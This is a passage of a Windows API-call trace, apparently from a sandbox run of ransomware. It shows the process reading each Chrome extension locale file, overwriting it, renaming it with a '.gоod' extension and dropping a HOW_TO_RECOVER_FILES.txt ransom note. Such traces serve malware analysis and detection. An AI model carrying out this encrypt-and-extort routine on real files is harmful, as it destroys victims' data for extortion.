ftLastAccessTime.dwLowDateTime=0xe8637077, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8637077, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.622] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8634961, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8636f72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0269.696] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0270.191] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0270.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0270.233] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms", lpFilePart=0x0) returned 0x7b [0270.233] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8632242, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8637077, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8637077, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0270.233] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8632242, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8637077, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8637077, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.234] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8634961, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8636f72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.234] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8634961, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8636f72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0270.234] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0270.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0270.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0270.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x392f8f0 | out: lpFileInformation=0x392f8f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8634961, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8636f72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xcb)) returned 1 [0270.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0270.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0270.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0270.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0270.235] GetFileType (hFile=0x808) returned 0x1 [0270.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0270.235] GetFileType (hFile=0x808) returned 0x1 [0270.235] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xcb [0270.235] ReadFile (in: hFile=0x808, lpBuffer=0x392fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x392fd78*, lpNumberOfBytesRead=0x209ebc98*=0xcb, lpOverlapped=0x0) returned 1 [0270.235] CloseHandle (hObject=0x808) returned 1 [0270.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0270.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0270.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0270.264] GetFileType (hFile=0x808) returned 0x1 [0270.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0270.264] GetFileType (hFile=0x808) returned 0x1 [0270.264] WriteFile (in: hFile=0x808, lpBuffer=0x39a76a8*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x39a76a8*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0270.264] CloseHandle (hObject=0x808) returned 1 [0270.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json", lpFilePart=0x0) returned 0x89 [0270.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0270.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0270.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8634961, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8636f72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9d4cda94, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0270.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0270.265] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.gоod")) returned 1 [0270.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0270.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0270.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0270.490] GetFileType (hFile=0x86c) returned 0x1 [0270.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0270.490] GetFileType (hFile=0x86c) returned 0x1 [0270.511] WriteFile (in: hFile=0x86c, lpBuffer=0x3889f88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3889f88*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0270.512] CloseHandle (hObject=0x86c) returned 1 [0270.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0270.512] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne", lpFilePart=0x0) returned 0x7b [0270.512] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe863e5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640cb8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8640cb8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0270.513] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe863e5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640cb8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8640cb8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.513] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8640cb8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640bb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.513] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0270.513] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0270.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0270.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne", lpFilePart=0x0) returned 0x7b [0270.513] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe863e5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640cb8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8640cb8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0270.514] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe863e5a6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640cb8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8640cb8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.514] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8640cb8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640bb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0270.514] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8640cb8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640bb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0270.514] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0270.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0270.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0270.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", lpFilePart=0x0) returned 0x89 [0270.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0270.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38a0f68 | out: lpFileInformation=0x38a0f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8640cb8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8640bb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x20b)) returned 1 [0270.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0270.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", lpFilePart=0x0) returned 0x89 [0270.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0270.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.515] GetFileType (hFile=0x86c) returned 0x1 [0270.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0270.515] GetFileType (hFile=0x86c) returned 0x1 [0270.515] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x20b [0270.515] ReadFile (in: hFile=0x86c, lpBuffer=0x38a1530, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x38a1530*, lpNumberOfBytesRead=0x209ebc98*=0x20b, lpOverlapped=0x0) returned 1 [0270.515] CloseHandle (hObject=0x86c) returned 1 [0270.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", lpFilePart=0x0) returned 0x89 [0270.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0270.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.544] GetFileType (hFile=0x86c) returned 0x1 [0270.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0270.544] GetFileType (hFile=0x86c) returned 0x1 [0270.544] WriteFile (in: hFile=0x86c, lpBuffer=0x391a700*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x391a700*, lpNumberOfBytesWritten=0x209ebba8*=0x210, lpOverlapped=0x0) returned 1 [0270.545] CloseHandle (hObject=0x86c) returned 1 [0270.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json", lpFilePart=0x0) returned 0x89 [0270.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.gоod", 